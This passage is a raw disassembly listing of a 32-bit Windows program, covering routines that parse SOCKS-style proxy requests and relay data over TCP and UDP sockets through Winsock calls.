loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	near ptr 71AB4FD4h
		nop
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx ; dword_50FC30
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx ; dword_50FC30
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp ; dword_50FC5C
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		call	near ptr 71AB2D0Fh
		nop
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp ; dword_50FC5C
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi ; dword_50FC88
		push	0FFFFFFFFh
		call	esi ; dword_50FC88
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi ; dword_50FC80
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 0E8905600h
		dd 7168997Ah, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445340
		push	esi
		call	edi ; dword_50FC8C
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445338
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx ; dword_50FC80
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx ; dword_50FC84
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx ; dword_50FC84
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	near ptr 71AB664Dh
		nop
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3D8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3D8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3D8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
